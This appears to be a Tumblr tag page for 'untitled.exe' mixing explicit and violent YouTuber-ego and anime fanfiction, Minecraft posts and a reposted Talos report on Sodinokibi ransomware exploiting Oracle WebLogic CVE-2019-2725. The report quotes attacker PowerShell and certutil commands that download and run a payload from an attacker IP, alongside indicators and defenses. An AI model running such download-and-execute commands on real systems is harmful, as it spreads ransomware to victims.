#untitled.exe

[comatosebunny09]

WIPs I will never finish.

Genres: Smut, Angst, Drama, Modern AU

Warnings: Graphic Descriptions of Sex, Cunnilingus, Fingering, Language, Word Vomit, MDNI!

Because I have a terribly short attention span. Please feel free to adopt these or use these as writing prompts. 😭 And please let me know or tag me if you use them! Thank you so much for reading!

I. Untitled.exe

—but then, it’s gushing out in torrents, coating Tengen’s mouth and painting the insides of your thighs, and you don’t think you’ve ever cum harder.

A conglomerate of sounds paints the living room, chorusing with the sultry music steadily pouring from your speakers. You’re panting, gulping down air, squeezing Kyojuro’s thighs for dear life as your orgasm rocks you into delirium.

And, your husband isn’t helping much, still stroking your clitoris like a pianist, drawing the most pitiful of sounds from your lips, the most violent spasms from your spent body. Your pussy’s hiccupping around Tengen’s thick fingers, still wedged deep inside, stroking languidly through your soaked ridges as he milks you of the last vestiges of your orgasm.

—

II. Untitled 2

“That was incredibly reckless.”

You blink down at the crisp bedsheets, arm halfway into your sleeve. Nearly choke on your saliva, gaping like a fish out of water. Did he really just…

“Excuse me?” It’s out before you can even think. The words are venomous on your tongue. You snap your attention to the blond in question with blown wide eyes. A hiss soon after tears itself from your throat. You moved too fast, the gnarly gash on your side reminding you of its presence. It’ll be a while before the painkillers fully kick in. Like they will do anything to dull the exasperation seeping into your bones.

Your partner scoffs audibly across the room, a reasonable distance away. Gives you his back whilst he shimmies into a clean button-up. You watch the muscles there ripple beneath stark bandages. Kyojuro sports his own battle scars, no fault of your own. If anything, he was the one being reckless.

The pressure of the room quickly shifts, ignited by something dangerous. And it weighs heavily upon your shoulders. You swallow, hyperaware of every minute sound and movement within the room.  

“I said, what you did back there was incredibly reckless, even for you.” Indignation meddles with his tone. Though you can’t see his face, you know that a scowl has settled upon his otherwise joyous features.

He has the fucking gall. You tch, disbelieving of his attitude. Gather yourself on shaky limbs, dress shirt hanging open whilst you teeter on the edge of the mattress on your aching knees. Fists clenched at your sides, you belt out, “I’m sorry. I think you meant to say, ‘thanks for saving my ass.’”

Kyojuro scoffs again. Turns to face you, swathing you in his arrogant aura. Angular jaw tightened, a pronounced vein pulsating on his temple. He doesn’t meet your gaze. Too busy fiddling with his cufflinks and smoothing out wrinkles. “I had it under control—”

“Which part?” you interject. This time, Kyojuro does look at you. And for a moment, you forget how to breathe. You would shudder under the depth of his simmering eyes, under the silent rage wafting off his skin, but you’re just as miffed. And rightfully so. This is just as much his fault as it is yours.

Emboldened, you tear yourself off the creaking bed. Toddle towards the seething man with an accusatory finger aimed at his chest. Kyojuro glares down at you. Dwarfs you by some inches, but you’ve faced demons more intimidating. “Which part did you have under control, Rengoku?”

He winces. Your lips quirk. You’ve hit a nerve. Your use of formalities cuts deep, and you know it. You’ve been friends for over a decade. Not once have you ever used his surname. You tap your chin, looking skyward in mock thought. “Hmm, was it the part where you nearly got yourself killed, or was it the part where you nearly let those villagers get ki—”

“Enough,” Kyojuro mutters, glancing off to the side. Balls up his fists, staggering along the edge of fury. But you could give two shits how he feels right now. He started it. You’re so very eager to finish it.

“Or was it the part where you let that son of a bitch get away—”

“I said enough!” Kyojuro roars, a hairsbreadth of space between your noses. It’s uncharacteristic of him, but many things have been atypical lately. The finality of his tone causes you to reel back. You stand akimbo, eyes narrowed. You won’t back down. You never do. Your chests heave, selfishly sucking in air. He ingests you with smoldering embers, throwing his hands up in frustration. Cries out, “what is your issue with me? What is this truly about?”

—

III. Take It

And it's as if a flip is switched.

The air crackles with electricity. Kyojuro suddenly spins you ‘round, a gasp darting past your lips. He gazes upon you with the hunger of a wolf. Gives you a once over before snatching you into another kiss. This one is more ravenous than the last, lips crashing and teeth scraping. Greedy hands glide down your back to cup your ample bottom. He persuades the barrier of your teeth open with his artful tongue. Strokes the moist cavern of your mouth in delicious thrusts. You pour pathetic whimpers into him. Paw frantically at his shirt, trying to bring him closer.

He suddenly tears away, ensnaring your wrist in an iron grip. The danger paddling across his countenance makes your breath catch, and something cold drops into the pit of your stomach. “I do not recall giving you permission to touch me,” he rasps, a hairsbreadth of space dangling between your mouths.

You blink lamely at him. “E-excuse me?”

A misleading smile curves his lips. Five nimble fingers curl around your throat and squeeze. Provide enough pressure to make you wince and to quicken your breathing. “I do not remember giving you permission to speak either, Sunflower,” Kyojuro warns into the interstice of your mouth. You work your lips to mutter a retort, but…

There is a rush of wind before you’re abruptly laid across your husband’s lap, his powerful quadriceps digging into your stomach. When he moved so swiftly and sat on the chaise lounge is beyond you. Your wits are still scattered as Kyojuro palms your ass through the thin fabric of your jeans.

“Kyo?” you question, trying to get up, but he forces you back down. Holds your squirming body in place whilst he makes several revolutions across your supple globes. “Kyojuro, what the fu—”

“And yet, you still choose to defy me.” The undercurrents of his tone cause a thrill to spear your center. You swallow thickly. Battle with the choice of keeping quiet or testing your limits. Kyojuro makes the decision for you. Clicks his tongue, patting your ass cheek once, twice. Says, “this will not do, my love. Count. And be sure to make it loud, darling. Otherwise, I will have to prolong your punishment.”              

—

IV. I’ve Got You

“Well, that was shit,” Tengen sighs whilst you wander out of the movie theater. Hinatsuru chuckles sheepishly beside him. Tugs on his arm, persuading him into a chaste peck on the lips.

“It wasn’t that bad, honey,” she counters. Proceeds to twine her arm with her boyfriend’s, mirth crinkling her eyes. Tengen’s irritation morphs into affection. He rubs the scruff of his neck, and you can swear that you see pink freckling his cheeks before he quickly turns away. The pair walk a few feet ahead. Exude love, fondness, and everything in between. They meander along the sidewalk, animated chatter filling the air around.

The smallest of smiles kisses your lips. Warmth blossoms into your cheeks. You tug your scarf up to your nose to mask your swooning. You’ve always been envious of their bond. Best friends turned lovers. High school sweethearts. Been through hell and back, but still always found each other through the years.  

Gentle fingers curl around your wrist, hauling you back down to earth. A deft gasp parts your lips. You whip around in the direction of their owner, expression relaxing as gold and orange flood your vision. Kyojuro smiles down at you fondly. Eases his digits into the space between yours.

“Are you alright?” he asks, loud enough for only you to hear. You nod lamely, consumed by mellow eyes that descend into an alluring shade of ruby. His grin grows tenfold. He squeezes your hand reassuringly, drawing you ever closer. You’re sure that you’re all types of red now.  

Kyojuro always does this. Always catches you off guard with simple gestures and tenderness that make your stomach hiccup with butterflies. Constantly patient with you. You can’t help thinking that you don’t deserve him. Wish that he could be with someone less skittish than you. Someone who can love him out loud. You’re no prude, but PDA is unexplored terrain for you. You’ve never been with anyone as handsy as him. Never been in a relationship with a man who shows you off as much as Kyojuro does.

You cast your boyfriend a sidelong glance. Drink in his prominent features. Kind eyes affixed ahead beneath dark, wiry brows. Flaxen, crimson-tinged locks frame the apples of his cheeks, hiding the double helix piercings adorning his ears. Dimples formed in his cheeks whilst he beams so big, rivaling the coppery shine of the moon. Your gaze skims southward. Towards the honey skin stretched taut over his Adam’s apple. Bobbing tantalizing beneath his turtleneck.

Your swallow thickly. How badly you would love to kiss Kyojuro right here and now. To siphon the heat of his body into yours. Elicit sinful sounds from betwixt his beautiful lips—

“So,” Tengen ventures, parting the sea of your daydreams. At some point, he and Hinatsuru stopped walking and faced you both. They regard you and Kyojuro with inquisitive and amused looks. “What’s next?”

You and Kyojuro exchange a glance. He shrugs, not really sure how to prolong the evening. The four of you initially set out to watch Boku no Yaiba: Forever Locomotion, the new movie everyone raved about on Twaddle. Wasn’t nearly as good as the hype built it up to be—the ending was trash—but you digress.

At least the excursion got you out of your apartment for a bit.

“Anything specific you wanted to do, my love?” Kyojuro murmurs from your side. Brings your hand to his lips, stamping your knuckles with a searing kiss whilst he drinks you into questioning eyes.

You gnaw on your bottom lip. “Didn’t really have anything in mind. But I’m not ready to go home yet, either.”

A squeal captures your attention. Soft hands suddenly encase yours. Hinatsuru beams at you, gorgeous and toothy. Her violet eyes glisten like the bokeh settled against the skyline behind her. “I’m not ready to go home either,” she says. Draws you into a gentle embrace that turns you into a sputtering mess. Her warm, bountiful breasts push against yours. She holds you at your hips. Breathes fervently against your ear, “what about hookah?”

You nod, battling the bashfulness threatening to take hold of your face. A hookah bar sounds delightful. A little shisha to loosen your limbs and inhibitions. Weaken your defenses and possibly end the night in Kyojuro’s arms.

“Then, it’s settled!” Hinatsuru cheers. Pumps a fist in the air, turning to your confused companions. “Hookah it is!” The buxom noirette hooks your arms together, towing you towards the parking lot.

Before she took you captive, you were sure that you saw Kyojuro blush.

—

V. Pretty

What else could you possibly fuck up?

Not like you are prone to being one: a fuck-up. But your day’s already gone so far south, you’ll be in hell tangoing with Satan by the end of it.

You’re panting. Guzzling down air as if you’ve just sprinted across the Pacific. The click of your heels ricochets off the walls whilst you trudge through the lobby. The receptionist gives you a peach-lipped smile in greeting. A heavy box cradled in your arms rattles with glasses whilst you venture towards a lively voice bleeding through the automatic doors in the back.

You’re already so late.

You knew you would be after you begged your boss to let you go a little early today. And she acquiesced. At first. Said you were free to leave when you had all your ducks in a row come 2:00 P.M. You always finished ahead of schedule but were often held captive after hours due to something else coming up. Against your better judgement, you took her word. Surely, she would be understanding of how time-sensitive your day was.

You powered through the morning with scant a break, closing out work orders and troubleshooting minute technical issues with your clients. Skipped lunch to prepare for inventories and map out where each item was on your employer’s hand receipt. But you’ve always made yourself too reliable. Always the employee left picking up the slack your peers left.

With one foot out the door, your name rang through the tiny office, thwarting your escape. Your supervisor came barreling in with another laundry list of tasks. Like you were the only person capable of handling them. Like they couldn’t wait until Monday to be addressed. When you finally departed, the sun was already sneaking into the horizon, mocking you with its condescending hues and cheeriness.

And you still had a stop to make before journeying to the ranch to meet your boyfriend.

You stumble into the humid embrace of summer. Suddenly framed by soaring oak trees and Spanish moss dangling overhead. Crickets chant mirthfully around. A delicate string of fairy lights greets you, stretched languidly over rustic benches and tables. You hurry down the center. Past ornate lanterns and elegant, white tulips springing from the ground. The wedding isn’t for another week. But they’ve already done such a stellar job with the décor. It’s like walking through a fairytale, the way twilight beckons you. How the wind tosses your hair about your shoulders, whispering peaceful words and what-have-yous into your bared neck.  

Inwardly, you wonder why you didn’t drive home for a change of clothes. You were already tardy, so one more stop wouldn’t have hurt much. Though your midi dress is lovely with its flounced sleeves and deep slit, it isn’t very breathable given the muggy atmosphere. Oh well. Have to deal with it for now. You won’t be here for long, it seems. You’re over an hour late! And from the remarks ambling from your boyfriend’s mouth, the rehearsal is nearing its end!

“Darling,” Kyojuro greets from his place on a stool, timbre smooth and decadent like dark chocolate. His multifaceted eyes gleam like citrine, creased with affection. He presses a torrid hand to the small of your back whilst you unceremoniously plop the box down onto the table. The mic promptly hisses with fee`dback, causing you both to wince.

“Sorry,” you mutter, shrinking beneath curious glances from your guests. You rub sheepishly at your nape, bashfulness slinking into your cheeks.  

Kyojuro laughs. Strokes reassuring circles into your spine. The guests avert their attention to whatever had them occupied prior to your grand entrance. Your boyfriend draws you closer, effervescent smile panning in until it is pressed into the side of your neck. You giggle as you wind your arms around his shoulders, surrendering to his onslaught of kisses. Kyojuro roots his nose into your lustrous coils. Inhales deeply whilst holding your hips in a gentle embrace. He always has a way of reducing you to a giggling mess with the simplest gestures.

“Sorry I’m late,” you breathe into his flaxen locks. They smell of sandalwood and bergamot, a potent mixture that sends light shivers down your spine. Kyojuro hums into the pulse point behind your ear.

“It is quite alright, lovely. No reason to apologize. We were just about to wrap things up.” Kyojuro highlights his words with a flitted glance over your shoulder. A few people had already began gathering their things and trickling out. Sweat beads on your temple. Your heart suddenly plummets into your gut. Of course they are. The rehearsal was scheduled for 4:00. It was 5:15 P.M. when you arrived.

—

VI. Ferris Wheel

He can't help himself; of that much, you are sure. But then again, neither can you.

A warm yet satisfying breeze tears through your hair as Kyojuro moves to fill in the space between you two. Currently, you are stranded on a malfunctioning Ferris Wheel with the sun setting at your back in brilliant bokeh, and your boyfriend pressed so hotly against your thigh. The seat rocks lightly.

You smirk defiantly, twisting your head away when he dives in for a kiss. His palm cradles your cheek, forcing you to look at him. You are met with molten eyes that reflect the sun before he kisses you thoroughly, tearing a soft whimper from your person. He breaks away before you have time to fully lose yourself. The pout you give him tears a heady chuckle from betwixt his lips. "In time I will give you what you want," he says, playfully tapping your nose.

You throw yourself back against the seat with folded arms and a grimace that could cut through wire. "We're stuck, dammit. We’ve got nothing but time."

#rengoku x reader #kyojuro x reader #rengoku smut #rengoku angst #my works #rengoku kyojuro #demon slayer fanfic #kny fanfic #kny reader insert #kny rengoku #rengoku kyojuro x reader #kyojuro rengoku #my wips

[trulymadquinn]

A character design I made, still need to think of a name for her... "ALT-F4" (press those keys), "Oprah" (like the Opera web searcher?) or "untitled.exe" maybe? Her design uses the basic printer colours and is inspired by kidcore and weirdcore.

#oc #character design #tv #weirdcore #kidcore #tv head

[orca-iguana]

Screenshots from today on @untitled-smp ! God I love this server

#untitled.exe #minecraft #screenshots #Leaf Plays Vijeo gamas

[lildevyl]

Who’s your favourite ego(s)??

I’m not sure who my favorites are. I do love writing Chase mostly b/c at some levels I can relate with Chase.

I do love Jackieboy Man! That literally comes from my love of comics that I got from my Dad.  I used to sneak into my parents room when I was old enough to be by myself during the Summers when my brothers were at their friends house and read my Dad’s Comics.  All DC and Marvel. So, I read all kinds of Super Hero Comics growing up.  Maybe that’s why I love Jackieboy Man so much.  Just haven’t figured out my version of Jackieboy Man yet. But the best thing about being an Artist/Writer is you have all these ideas that you can experiment with until you find the ones that you like the most.

Marvin I do love! I do some ideas for his Background/Head Canons.

Anti is literally someone I love to write as a Villain! B/C you can write him as the “Suave Mastermind” or the evil Demon.

For the Markiplier Egos.  Dark and Wilford are my favorites! I think I might try to write some more fanfics of them!

I do have an idea for Bingiplier and Googleplier I’m just not sure how to exicute it yet.  It’s like a Detroit: Becoming Human like story only with the Egos.  

I am thinking of writing somethings with the Host/the Author.  Especially with my OC Nora Weird (the adopted daughter of the Author). With how the Author became the Host and how with the help of the Community the Author is able to come back. This whole feud with Darkiplier trying to have control of the Author or the Host b/c of how powerful they are.  And with the Author and the Host, two the most powerful but very dangerous and blood thirsty Egos are going out of their way to protect someone.  It still has a lot of WIP to do!

I’m also currently working two big projects. One’s the Asylum guesting staring @isa-ghost.  Isa a friend and CSI and she’s working against the clock to try to figure out what has happened to Jackieboy Man that land him into the Asylum with an expected help from the Author. 

The other is my Swap!AU. I’m currently working on the JSE Egos for that one, Untitled.exe.  The roles of the Egos are completely switched!  AntiSepticeye is Septic City’s Anti-Hero, Marvin is the Time Travel who can’t speak, JJ is the Magician, Chase the Doctor, Henrik is the YouTuber and Jackie is as you guest the Villain!  Jackie goes missing from trying to do a rescue mission on his own, it’s been nine months and not a trace of Jackie!  That is until a new Villain comes to town.  Able to glitch in and out, being able to control any and all electronics and can hypnotize anyone that watches him.  Under the leadership of the biggest and one of most powerful Dark Egos of all, DarkSetpiceye.

I still have a tone and half of things to do!  But hopefully I’ll get a new chapter up here soon!  Or maybe I’ll be able to draw something of this!

HAPPY CREATING!!!!

#answered asks #isitrachelorzoey #jse egos #markiplier egos #these are who are some of mine favorite egos #along with some ideas that i want to do with them #just haven't fleshed out the entire idea yet #and having trouble trying to figure out how to start it! #the asylum #swap!au #untitled.exe #HAPPY CREATING! #hopefully i'll get an update chapter with one of these two!

[aaron-is-not-there-blog]

Untitled.exe part 1

Seán’s POV

Warning: this story has swearing and near death experiences

I hit record and sat back down.

“Top of the morn’ to la laddies! My name is Jacksepticeye and today we are carving a pumpkin!” I yelled as I placed my hands on the pumpkin.

I heard a faint glitchy giggle near the corner of my room. I brushed it off as if it was nothing. I should have left right away but I didn’t. I wasn’t thinking.

I continued to film the video and eventually the giggling was too much.

“I swear to god I’m hearing something.” I left my table and went to the door to see if someone was out there. I opened the door and was immediately pushed to the ground.

I groaned and sat up. Then I saw him.

“Oh h-hey Anti!” I said happily

“D̟̭̝̣̹̺͞ͅḭ͎͝d͖̭̞̜̳ͅ ̭͉̩̜͝y͖o̟͎̪̯̙͝u̩ ͙̘́m̧̱͓͙is̝̤̗͖͢s͉̥̩̩̤͉̘ ͚̝̙͙͎̜m̶e̖̟̤̭̦͉?”

He ran forward and takled me down.

“CHASE! MARVIN! JACKIE!” I yelled for help as my other ego went mad.

They came in and gasped to see Anti holding me down with his knife in the air.

“Anti no!” Chase yelled running forward to push Anti of me.

Anti glitches like crazy and fought Chase.

Marvin came forward to help Chase. They takled him to the ground but Anti pushed up and escaped. He grabbed Chase’s hair and pulled his head up, exposing his throat. As Anti brought his knife lower, Jackie smashed an empty beer bottle on to Anti’s head. Anti fell to the ground and he looked very peaceful.

Chase held his throat and was breathing heavily with fear.

“What happened to him?” Jackie asked as they all surrounded the knocked out Anti curled up on the ground.

“I donno but that’s not Anti. He hates me and everyone around him but he would never try to kill any of us.” I said pushing my hair back.

“Well we should warn the other egos. Just to be safe. “ Marvin cautioned.

They agreed and left but not before tying Anti to a chair so he wouldn’t sneak up on them. And they left to go find Dapper and Shnep.

#untitled.exe #jacksepticeye #jacksepticegos #antisepticeye #chase brody #marvin the magnificent #dapper #dr. schneeplestein #fanfic

[xtrafries]

Untitled.exe - Strip 1

#webcomic #webcomicseries #comedy #fantasy #tvhead

[lum1natrix]

HAVE YOU SEEN "Untitled.exe"?? It's a Darkiplier/Anti horror trailer by Editing Is Everything and it's the best thing ever!! She also did one on Dark called "Are you Afraid of the Darkiplier?" It's seriously amazing and I really recommend watching it to help you get even more into that creepy, glitchy, Anti type mood. Love you Lumi!

I don’t think I have, but i definitely will check it out tomorrow! I saw their Unfriended video and it was the best editing I’ve seen in years.

I love ya more, bby!

#answered #Anonymous

[terabitweb]

Original Post from Talos Security Author:

This blog was authored by Pierre Cadieux, Colin Grady, Jaeson Schultz and Matt Valites

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called “Sodinokibi.” Sodinokibi attempts to encrypt data in a user’s directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco’s Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

Initial stages of the ransomware attack occurred on April 25, the day before Oracle released their update. This was a trial to see whether the server was exploitable.

April 25, 2019 activity showing the initial activity preceding the ransomware deployment.

On April 26, 2019, the attackers made an HTTP connection to a different vulnerable server, requesting the AsyncResponderService of the Oracle WebLogic Server.

Activity from April 26. The attackers are downloading the Sodinokibi ransomware.

Historically, most varieties of ransomware have required some form of user interaction, such as a user opening an attachment to an email message, clicking on a malicious link, or running a piece of malware on the device. In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The 188.166.74[.]218 IP address is also home to a pair of other malicious domains unrelated to this ransomware attack: arg0s-co[.]uk, which is likely a phishing domain, and projectstore[.]guru, a domain with bogus PDF-related Google search results. The other IP, 45.55.211[.]79, hosts a pair of legitimate Chilean domains, and appears to have been infected and repurposed by the attackers. The attackers were ultimately successful at encrypting a number of customer systems during this incident.

Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136. The HTTP POST request contained arguments to a cmd.exe instruction — a PowerShell command to download a file called “radm.exe” from host 188.166.74[.]218, then save that file locally and execute it.

cmd /c powershell.exe wget http[:]//188.166.74[.]218/radm.exe -outfile %TEMP%/radm.exe&cmd.exe /c %TEMP%\radm.exe

In addition to PowerShell, we also observed the attackers creatively passing the certutil utility to cmd to download a file:

cmd /c cmd.exe /c certutil.exe -urlcache -split -f http[:]//188.166.74[.]218/radm.exe %TEMP%/radm.exe&cmd.exe /c %TEMP%\radm.exe

Besides “radm.exe,” researchers observed multiple file names in the PowerShell and certutil commands, including:

hxxp[:]//188.166.74[.]218/office.exe hxxp[:]//188.166.74[.]218/radm.exe hxxp[:]//188.166.74[.]218/untitled.exe hxxp[:]//45.55.211[.]79/.cache/untitled.exe

Once detonated in Threat Grid, the sandbox identified this sample as potential ransomware.

The website VirusTotal successfully detected the same binary hash on 43 out of 71 different engines.

Below, we can see the malicious file “untitled.exe” using “cmd.exe” to execute the vssadmin.exe utility. This action is a common tactic of ransomware to prevent users from easily recovering their data. It attempts to delete default Windows backup mechanisms, otherwise known as “shadow copies,” to prevent recovery of the original files from these backups.

The ransom note, in this case, directs victims to either a .onion website on the Tor network or on the public web at the domain decryptor[.]top, registered on March 31 this year. With Sodinokibi, each encrypted system sees a distinct encrypted file extension. The ransom note filename also includes this extension as a prefix (ex. 88f2947s-HOW-TO-DECRYPT.txt).

The Gandcrab affiliate connection

After finishing deploying Sodinokibi ransomware inside the victim’s network, the attackers followed up with an additional CVE-2019-2725 exploit attempt approximately eight hours later. However, this time, the attackers chose to distribute Gandcrab v5.2. We find it strange the attackers would choose to distribute additional, different ransomware on the same target. Sodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.

Conclusion

This attack is notable because of the attackers’ use of a zero-day exploit to distribute ransomware. Whereas previously we have witnessed ransomware attackers taking advantage of unpatched systems to install and laterally propagate ransomware, this zero-day exploitation method could work on otherwise fully-patched systems.

The victims in this ransomware attack were able to activate their Incident Response Retainer with Cisco IR Services, and they received immediate support and advice on managing the incident. Immediate actions taken likely prevented a more significant outage.

Due to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects widespread attacks involving CVE-2019-2725, and we recommend the following actions. Any number of layered controls could prevent or otherwise deter this type of attack, including:

Patch WebLogic as soon as possible against CVE-2019-2725.

Log and centrally collect web, application, and operating systems events.

Restrict the access of the account used to run the WebLogic process

Monitor for signs of compromise:

Egress network communications from data center systems.

Ransomware “Canary” files.

External HTTP POSTs to new URIs.

Web shells.

Unexpected activity of service/system accounts (WebLogic user).

Scan for, understand, and mitigate your vulnerability posture.

Restrict egress Data Center communications.

Segment the network for defense and monitoring.

Control URL access (in this case external access to “/_async/*” and “/wls-wsat/*”).

Plan for Disaster Recovery, including maintaining and testing data backups and recovery.

Configure PowerShell to execute only signed scripts.

Indicators of Compromise (IoC)

Ransomware samples: 0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d 34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160 74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac 95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05 fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451

Distribution URLs: hxxp://188.166.74[.]218/office.exe hxxp://188.166.74[.]218/radm.exe hxxp://188.166.74[.]218/untitled.exe hxxp://45.55.211[.]79/.cache/untitled.exe

Attacker IP: 130.61.54[.]136

Attacker Domain: decryptor[.]top

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Go to Source Author: Sodinokibi ransomware exploits WebLogic Server vulnerability Original Post from Talos Security Author: This blog was authored by Pierre Cadieux, Colin Grady…

#Talos Security

[retro-galactic-blog]

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[orca-iguana]

Some screenshots of @untitled-smp at night! Featuring, the Tunnel of trans your gender:

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[lildevyl]

Hiii friend uwu

What you in the mood to write? Any genres you gravitating towards uwu? I’d love to help if I can!

Basically anything right now! Unfortunately, it’s starting to become a bad habit of starting a story and it’s weeks/months until the next chapter! I have ideas and can literally talk your ears off of what I want to write especially my AU’s but have no idea where to start! Or where to go from there!

So, right anything! JSE, Markiplier, Unus Annus, Crankgameplays, PewDiePie, Among Us, Wrestling (I need to update that one), Avatar the Last Airbender, NateWantstoBattle, Game/Film/Food Theory, MatPat, FNAF, Horror/SciFi/Mystery, Musicals (I’m an avid fan), Creepypastas, Sanders Sides (I need to update that one), Fantasy/Adventure, Nancy Drew/Hardy Boys

I think I’ll leave it there for the Fandoms sorry!

For like a what to write, Angst/Whump, Fluff, Ego Shipping (SFW), Hurt and Comfort.  I’m also up for talking about any Head Canons that I have! Considering that I might be changing some of them.

Sorry, I didn’t mean to go on a tangent there. I tend to start explaining something and then it’s a waterfall of info.

What I have in my WIP Folder/Need to Update: Under the Cut

Sanders Sides: 

Amnesia  Tumblr here

Summary:  Remus pissed that the Light Sides stole his and Janus’s friend, from them. Goes to his side of Creativity and uses a spell to make Virgil forget that he was ever a Light Side.

Wrestling:

The Hounds  Tumblr here  AO3 here

Summary:   Seth Rollins deeply regrets breaking up the Shield and joining the Authority. He wants to write this wrong, by doing anything to rebuild the bridge he destroyed and reunite with his “family,” The Shield. By making a deal with the Devil.

JSE Community:

SepticScape  Tumblr here  AO3 here

Summary:  Jack is trapped in his own mind and something is terribly wrong! The “Corruption” is everywhere and is taking control. Now Jack, with the help of his Alter Egos, must find a way to out and regain control of his body. Before it is too late!

The Asylum  Tumblr here.

Summary:   Isa gets a call from someone that she never expected to get a call from and decides to go and meet up with them.

Swap!AU

Untitled.exe  Tumblr here  AO3 here

Summary:   Anti-Hero and his team (The Possepticeyes) have been battling an onslaught of Crimes throughout Septic City. Only to have one their own, Jackieboy Man to be kidnapped, and a new enemy has emerged. Now, Anti and his friends need to find a way to break through to Jackie and bring him back. Before it’s too late

Markiplier Community

Hearts and Heroes  Tumblr here

Summary:   Fans and YouTubers from all around the world come together to help fight against a great evil that invades everyone’s dreams, known as the Terrorlings.  Join Brandy and her team as they team up to help fight the Leader of the Terrorlings and help save their friend and mentor, Markiplier.

#answered asks #writing prompts #wips #stories i need to update #lamiasluck

[meloveyouokay]

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